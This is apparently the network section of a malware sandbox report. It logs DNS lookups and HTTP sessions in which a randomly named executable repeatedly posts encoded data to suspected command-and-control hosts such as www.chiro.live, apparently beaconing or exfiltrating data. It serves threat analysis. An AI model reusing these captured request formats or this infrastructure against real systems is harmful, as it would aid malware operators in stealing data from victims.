Jan 9, 2025 16:56:04.425796032 CET	1.1.1.1	192.168.11.30	0xf15c	No error (0)	www.100millionjobs.africa	100millionjobs.africa		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 16:56:04.425796032 CET	1.1.1.1	192.168.11.30	0xf15c	No error (0)	100millionjobs.africa		136.243.64.147	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:56:18.806066036 CET	1.1.1.1	192.168.11.30	0x2cbd	No error (0)	www.mirenzhibo.net		202.95.11.110	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:56:33.398082018 CET	1.1.1.1	192.168.11.30	0xe71e	No error (0)	www.nextlevel.finance		13.248.169.48	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:56:33.398082018 CET	1.1.1.1	192.168.11.30	0xe71e	No error (0)	www.nextlevel.finance		76.223.54.146	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:56:47.992480993 CET	1.1.1.1	192.168.11.30	0xd263	No error (0)	www.furrcali.xyz		103.106.67.112	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:01.725621939 CET	1.1.1.1	192.168.11.30	0xaaf	No error (0)	www.buyspeechst.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:01.725621939 CET	1.1.1.1	192.168.11.30	0xaaf	No error (0)	www.buyspeechst.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:01.725621939 CET	1.1.1.1	192.168.11.30	0xaaf	No error (0)	www.buyspeechst.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:01.725621939 CET	1.1.1.1	192.168.11.30	0xaaf	No error (0)	www.buyspeechst.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:01.725621939 CET	1.1.1.1	192.168.11.30	0xaaf	No error (0)	www.buyspeechst.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:01.725621939 CET	1.1.1.1	192.168.11.30	0xaaf	No error (0)	www.buyspeechst.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:01.725621939 CET	1.1.1.1	192.168.11.30	0xaaf	No error (0)	www.buyspeechst.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:57:15.440694094 CET	1.1.1.1	192.168.11.30	0xd22e	No error (0)	www.lejgnu.info		47.83.1.90	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:58:19.707988024 CET	1.1.1.1	192.168.11.30	0x316e	Name error (3)	www.elettrocoltura.info	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.milp.store

www.chiro.live

www.mzkd6gp5.top

www.bokus.site

www.givvjn.info

www.bonheur.tech

www.rpa.asia

www.ogbos88.cyou

www.100millionjobs.africa

www.mirenzhibo.net

www.nextlevel.finance

www.furrcali.xyz

www.buyspeechst.shop

www.lejgnu.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49822	194.9.94.85	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:53:51.805139065 CET	533	OUT	GET /js1x/?80k=lRapCPMXgDk&6B-l7F=YzadGC6YqOgjY/9t8WEBSxHCudcKSJxp0CcLO+Xh8dJmB8CdhvgUA7hRZF2xLQJtMCWb5Kgxi+xGIwqq0R102ShiT2rp0EsU7QKswOCkfsfu+tPWB6ee9FA= HTTP/1.1 Host: www.milp.store Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:53:52.051402092 CET	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 09 Jan 2025 15:53:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.30 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
Jan 9, 2025 16:53:52.051500082 CET	1289	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 72 65 73 6f 6c 75 74 69 6f 6e 3a 20 33 32 36 64 70 69 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6c 6f 6f 70 69 61 Data Ascii: le-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet
Jan 9, 2025 16:53:52.051546097 CET	1289	IN	Data Raw: 20 74 6f 20 76 69 65 77 20 74 68 65 20 64 6f 6d 61 69 6e 20 68 6f 6c 64 65 72 27 73 20 70 75 62 6c 69 63 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 41 72 65 20 79 6f 75 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 Data Ascii: to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_con
Jan 9, 2025 16:53:52.051717043 CET	1289	IN	Data Raw: 6c 20 63 6f 6e 74 72 6f 6c 20 6f 66 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 77 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 3c 2f 68 33 3e 0a 09 09 09 3c 70 3e 57 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 Data Ascii: l control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingwe
Jan 9, 2025 16:53:52.051755905 CET	661	IN	Data Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72 Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
Jan 9, 2025 16:53:52.051786900 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49823	45.33.2.79	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:07.569076061 CET	793	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 62 31 62 57 4b 43 2f 49 59 6a 66 30 74 63 71 2f 61 71 46 51 5a 65 72 4a 55 45 2b 4d 72 70 30 61 7a 51 6d 75 45 61 6f 4c 2b 76 66 52 72 7a 69 56 36 5a 79 71 4b 70 58 61 2f 35 59 43 4f 6a 57 69 45 49 41 58 48 65 74 2b 58 4b 39 6d 49 63 6d 79 42 62 54 50 4f 52 34 78 58 52 2f 4f 66 30 38 4e 39 65 72 65 45 43 46 4a 79 61 6f 4d 51 48 78 52 6d 42 31 34 35 49 4d 6f 6e 4e 74 73 2b 6a 56 54 79 69 4f 61 43 63 45 4b 68 49 36 77 7a 64 34 78 57 49 34 33 32 56 4b 6e 4d 4d 30 6c 58 56 53 4a 6f 49 77 5a 33 4b 4c 4f 54 37 34 72 6e 7a 7a 6b 43 57 72 52 43 67 3d 3d Data Ascii: 6B-l7F=qZs751u9hJjEb1bWKC/IYjf0tcq/aqFQZerJUE+Mrp0azQmuEaoL+vfRrziV6ZyqKpXa/5YCOjWiEIAXHet+XK9mIcmyBbTPOR4xXR/Of08N9ereECFJyaoMQHxRmB145IMonNts+jVTyiOaCcEKhI6wzd4xWI432VKnMM0lXVSJoIwZ3KLOT74rnzzkCWrRCg==
Jan 9, 2025 16:54:07.714026928 CET	806	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:54:07 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 06 83 9d 60 37 90 4e 42 e3 af 3a 76 e2 38 c1 f8 92 11 92 62 89 08 89 82 00 3b 9d fe f7 62 e8 c4 74 dc 43 75 40 da 65 f7 ed be b7 92 fd e1 db dc 5d fa 77 37 0a 91 11 bb 3c b1 f7 9b c2 00 df 38 2a e6 ea e5 89 52 2e 9b 60 80 ea 63 65 46 58 02 05 12 90 a4 58 3a ea e3 72 d0 ea fd 89 3c fc 26 52 c6 2d fc 23 a3 b9 a3 6e 5b 19 68 41 11 c5 40 d2 80 61 55 81 82 4b cc cb dc f1 8d 83 d1 06 1f 65 73 10 61 47 cd 29 2e 62 91 c8 46 42 41 91 24 0e c2 39 85 b8 55 19 9f 15 ca a9 a4 80 b5 52 08 18 76 0c ad dd 84 93 54 32 7c 69 eb f5 5e d1 a9 9a e4 22 85 09 8d e5 81 d6 bf 7b 4f f0 4b 82 53 d2 68 a1 7d 91 25 cc d9 f3 fb a2 eb 45 51 58 6d 0d 12 9a 08 8d d1 1c eb aa a2 1f 20 6d fd b8 8c 5d a9 d7 94 e7 b8 c4 d9 ff 95 b0 f5 c3 60 ec 40 a0 9d 22 38 13 00 39 2a 12 cf f5 f1 e3 a7 a6 18 35 65 45 ee e2 52 5d 89 b7 52 0f 41 0e 6a 6f 23 6e af c4 4b c6 a1 a4 82 2b 0d 28 e5 e7 bb 7e fb 90 fd 2a 28 47 a2 d0 a4 88 35 26 60 39 5f c1 35 52 12 52 1c [TRUNCATED] Data Ascii: 266SMs0WPv`7NB:v8b;btCu@e]w7<8R.`ceFXX:r<&R-#n[hA@aUKesaG).bFBA$9URvT2\|i^"{OKSh}%EQXm m]`@"895eER]RAjo#nK+(~*(G5&`9_5RRE=H(,@&v0-?YFcXnZZ,oZB<d:x71`JN/_jn\|>vh0H@E1uPgXMiQWxpnC2pS<n+Ru]CEtICljL%Ac'mx~8<SWC[^eoCp8zVvzt~[)K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49824	45.33.2.79	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:10.245862961 CET	813	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 5a 58 50 57 4d 6c 6a 49 51 6a 66 33 6f 63 71 2f 44 36 46 63 5a 65 58 4a 55 41 4f 6d 73 66 6b 61 79 78 57 75 46 65 38 4c 35 76 66 52 6a 54 69 51 6e 4a 79 74 4b 70 4c 38 2f 34 30 43 4f 6e 32 69 45 4e 73 58 62 39 56 39 46 71 39 67 42 38 6d 30 46 62 54 50 4f 52 34 78 58 52 72 6f 66 30 6b 4e 38 75 62 65 47 6a 46 4b 2b 36 6f 54 48 33 78 52 77 78 31 38 35 49 4d 4b 6e 50 4a 4b 2b 67 74 54 79 6a 2b 61 43 4e 45 4a 36 59 36 79 75 4e 35 65 64 59 68 68 34 46 6d 77 4c 65 55 65 50 32 72 39 6b 2f 64 44 71 4a 2f 4d 41 62 45 47 37 79 65 4d 41 55 71 4b 66 72 59 30 44 71 6c 53 7a 71 2f 32 32 6c 6b 67 7a 42 7a 78 53 6b 49 3d Data Ascii: 6B-l7F=qZs751u9hJjEZXPWMljIQjf3ocq/D6FcZeXJUAOmsfkayxWuFe8L5vfRjTiQnJytKpL8/40COn2iENsXb9V9Fq9gB8m0FbTPOR4xXRrof0kN8ubeGjFK+6oTH3xRwx185IMKnPJK+gtTyj+aCNEJ6Y6yuN5edYhh4FmwLeUeP2r9k/dDqJ/MAbEG7yeMAUqKfrY0DqlSzq/22lkgzBzxSkI=
Jan 9, 2025 16:54:10.390666962 CET	806	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:54:10 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 e6 cb 26 b1 1b 48 27 a1 f1 57 1d 3b 71 9c 60 fb 92 11 92 62 89 08 89 82 00 3b 9d fe f7 62 e8 c4 74 dc 43 75 40 da 65 f7 ed be b7 92 f3 e1 db cc 5b ac ee 6e 14 22 23 76 79 e2 ec 37 85 01 be 71 55 cc d5 cb 13 a5 5c 0e c1 00 d5 c7 ca 8c b0 04 0a 24 20 49 b1 74 d5 c7 45 bf d5 fd 13 79 f8 4d a4 8c 5b f8 47 46 73 57 dd b6 32 d0 82 22 8a 81 a4 01 c3 aa 02 05 97 98 97 b9 a3 1b 17 a3 0d 3e ca e6 20 c2 ae 9a 53 5c c4 22 91 8d 84 82 22 49 5c 84 73 0a 71 ab 32 3e 2b 94 53 49 01 6b a5 10 30 ec 9a 9a d1 84 93 54 32 7c e9 e8 f5 5e d1 a9 9a e4 22 85 09 8d e5 81 d6 bf 7b 4f f0 4b 82 53 d2 68 c1 b8 c8 12 e6 ee f9 7d d1 f5 a2 28 ce 0d 0d 12 9a 08 8d d1 1c eb aa a2 1f 20 1d fd b8 8c 53 a9 d7 94 e7 b8 84 fd 7f 25 1c fd 30 18 27 10 68 a7 08 ce 04 40 ae 8a c4 73 7d fc f8 a9 29 46 4d 59 91 bb b8 54 57 e2 ad d4 43 90 83 da db 88 db 2b f1 92 71 28 a9 e0 4a 03 4a f9 f9 ae df 3e 64 bf 0a ca 91 28 34 29 62 8d 09 58 ce 57 70 8d 94 84 14 57 [TRUNCATED] Data Ascii: 266SMs0WPv&H'W;q`b;btCu@e[n"#vy7qU\$ ItEyM[GFsW2"> S\""I\sq2>+SIk0T2\|^"{OKSh}( S%0'h@s})FMYTWC+q(JJ>d(4)bXWpWQ5]4LOQNkfvnTHglR&^^WW:j9p7:yS^{Xn=,$(zGdqi^^PlF\|>-S,hSe't.WyXtz{2`r#6W%Ic'm}~8PnWQzIB0g%9MzVLwzt~[)K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49825	45.33.2.79	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:12.931546926 CET	1289	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 5a 58 50 57 4d 6c 6a 49 51 6a 66 33 6f 63 71 2f 44 36 46 63 5a 65 58 4a 55 41 4f 6d 73 66 73 61 79 44 4f 75 45 35 41 4c 34 76 66 52 70 7a 69 52 6e 4a 7a 6f 4b 70 44 77 2f 34 70 31 4f 6c 4f 69 46 76 6b 58 58 63 56 39 4f 71 39 67 4d 63 6d 78 42 62 54 67 4f 52 6f 4c 58 52 37 6f 66 30 6b 4e 38 74 54 65 42 79 46 4b 38 36 6f 4d 51 48 78 56 6d 42 30 6a 35 49 56 6f 6e 50 64 38 2b 6a 64 54 79 51 47 61 42 2f 73 4a 36 59 36 79 6a 74 35 62 64 59 64 6b 34 46 75 6b 4c 63 30 6f 50 6c 48 39 31 36 34 4d 75 59 7a 6e 66 64 45 6d 7a 54 75 30 49 32 75 75 58 4d 4d 58 4d 5a 70 51 36 4f 71 63 2b 53 41 4f 6b 67 2f 30 41 6a 63 46 49 69 44 6d 61 39 4f 4c 4e 65 76 6b 39 41 56 42 46 74 53 33 35 72 49 4d 4d 77 79 4d 53 31 52 58 77 48 79 46 5a 70 34 62 4b 49 4f 4e 4c 4b 6b 73 61 79 52 66 59 4b 6d 56 35 36 77 58 55 6e 62 51 4a 46 62 5a 68 71 44 34 78 44 4b 61 6b 56 73 52 67 2b 73 78 56 6b 52 47 5a 65 35 73 4e 4b 50 78 65 53 64 7a 4a 61 5a 70 7a 74 4a 6d 54 56 62 54 63 6b 4f [TRUNCATED] Data Ascii: 6B-l7F=qZs751u9hJjEZXPWMljIQjf3ocq/D6FcZeXJUAOmsfsayDOuE5AL4vfRpziRnJzoKpDw/4p1OlOiFvkXXcV9Oq9gMcmxBbTgORoLXR7of0kN8tTeByFK86oMQHxVmB0j5IVonPd8+jdTyQGaB/sJ6Y6yjt5bdYdk4FukLc0oPlH9164MuYznfdEmzTu0I2uuXMMXMZpQ6Oqc+SAOkg/0AjcFIiDma9OLNevk9AVBFtS35rIMMwyMS1RXwHyFZp4bKIONLKksayRfYKmV56wXUnbQJFbZhqD4xDKakVsRg+sxVkRGZe5sNKPxeSdzJaZpztJmTVbTckO0FE+UhQWRCgU4xmxNCIKP2/vxE1WbYGBNZBD/ouBV0i+cfQDJxmq9GxCECvz/DPgpNMSVYSvE31ySSUkqutg4+DJVymMKKNg2iOpDG7U3yfP/G5mlnlsEMdOjCH49CfvfjHHPSAfQKA0AhKS4Fu6YJ24hX81o3lpL+8s5rV6bQ+dRR9N1BUWtNgsuyrdaHlh9bKXHX24C/ON82Hi2T2Ky1EBj2ONO7C30UVj/LFTCfStRZGw5Q1mSLZKKysaED43cgHPrRfN98sPVjF2dAv9Jotem52C6056pBNtUW6TFgjnm+5QmxtVOcR7OSRe2mjM1wW971Im5vG3OL//pl0Jxjuos3Mkg7qznrb9zF8J
Jan 9, 2025 16:54:12.931598902 CET	2578	OUT	Data Raw: 41 4c 37 42 63 52 37 6d 46 58 42 59 4f 49 31 53 59 57 73 4b 65 49 75 35 73 7a 70 50 78 49 68 5a 2f 73 48 64 77 2b 44 6d 53 61 2f 5a 54 4a 39 73 46 71 58 50 49 45 4c 78 71 49 32 6e 55 66 61 64 38 4d 74 32 73 77 75 42 78 6d 38 4e 31 32 52 37 37 68 Data Ascii: AL7BcR7mFXBYOI1SYWsKeIu5szpPxIhZ/sHdw+DmSa/ZTJ9sFqXPIELxqI2nUfad8Mt2swuBxm8N12R77hvXRdgN78AVrqqFN08gzz6YM3Qg63TdurPPd3+O4NKtYphxRDSaBcvefuzZsOijEz1Qsd//JqsTFj98fVa53rRUPHL1EEg7q7DTL31UZENO30mKP0gqq26jGHCTdNJqu8KKKsuA9Xmi717ceTxVCJcD0VVzaATABz+
Jan 9, 2025 16:54:12.931653976 CET	63	OUT	Data Raw: 6b 57 46 35 44 62 70 5a 6c 37 63 6b 30 65 55 66 34 33 30 37 6c 38 76 4c 50 39 49 6b 58 6c 56 72 6e 53 67 66 46 32 31 55 4e 43 6c 36 79 49 74 4a 66 75 73 2f 2f 76 35 78 68 6c 74 4c 77 3d 3d Data Ascii: kWF5DbpZl7ck0eUf4307l8vLP9IkXlVrnSgfF21UNCl6yItJfus//v5xhltLw==
Jan 9, 2025 16:54:13.076890945 CET	806	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:54:13 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 db 72 9b 30 10 7d cf 57 50 1e 32 ed 4c 6d 30 d8 89 dd 40 3a 09 8d 6f 75 ec c4 71 02 f6 4b 46 48 8a 25 22 24 0a 02 ec 74 fa ef e5 d2 89 e9 b8 0f d5 8c 2e bb da 3d bb 7b 56 b2 3e 7c 5b 38 ab f5 dd 8d 42 64 c8 2e 4f ac 72 53 18 e0 5b 5b c5 5c bd 3c 51 8a 61 11 0c 50 7d ac c4 10 4b a0 40 02 e2 04 4b 5b 7d 5c 0d 5b fd 3f 96 87 6b 22 65 d4 c2 3f 52 9a d9 ea ae 95 82 16 14 61 04 24 f5 19 56 15 28 b8 c4 bc f0 9d dc d8 18 6d f1 91 37 07 21 b6 d5 8c e2 3c 12 b1 6c 38 e4 14 49 62 23 9c 51 88 5b 95 f0 59 a1 9c 4a 0a 58 2b 81 80 61 bb d3 d6 9b 70 92 4a 86 2f 2d ad de ab 72 aa 24 b9 48 60 4c 23 79 28 eb df b9 c7 f8 25 c6 09 69 a4 a0 5f a4 31 b3 cb fa be 68 5a 9e e7 e7 7a 1b 12 1a 8b 36 a3 19 d6 54 45 3b 40 5a da 71 18 ab 62 af 49 cf 71 88 de ff 85 b0 b4 43 63 2c 5f a0 bd 22 38 13 00 d9 2a 12 cf f5 f1 e3 a7 26 19 75 c9 8a dc 47 05 bb 12 ef a4 16 80 0c d4 da 86 5d c9 c4 4b ca a1 a4 82 2b 0d 28 e5 e7 3b 7f a5 49 39 72 ca 91 c8 db 52 44 6d 26 60 d1 5f c1 db a4 28 48 [TRUNCATED] Data Ascii: 266Sr0}WP2Lm0@:ouqKFH%"$t.={V>\|[8Bd.OrS[[\<QaP}K@K[}\[?k"e?Ra$V(m7!<l8Ib#Q[YJX+apJ/-r$H`L#y(%i_1hZz6TE;@ZqbIqCc,_"8*&uG]K+(;I9rRDm&`_(H@Q I)Ev<}gu7zO$8~6~+]+:3"sz3)T27e@esi6w3Y<kwlk}/g`#p\|wNe>tkn`-#fxIf#&.b3chw]`txD\|w7G=>sD=U8\n{HF9GA>t^_5/Z0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.30	49826	45.33.2.79	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:54:15.611571074 CET	533	OUT	GET /jwa9/?6B-l7F=nbEb6BapjrCYd3vuEk68dRLY4ua2Mo84Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKTT9RHcltuCAAAk51J4=&80k=lRapCPMXgDk HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:54:15.756664038 CET	1289	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:54:15 GMT content-type: text/html transfer-encoding: chunked connection: close Data Raw: 34 39 44 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 63 68 69 72 6f 2e 6c [TRUNCATED] Data Ascii: 49D<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.chiro.live/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.chiro.live/" /> </head> <body 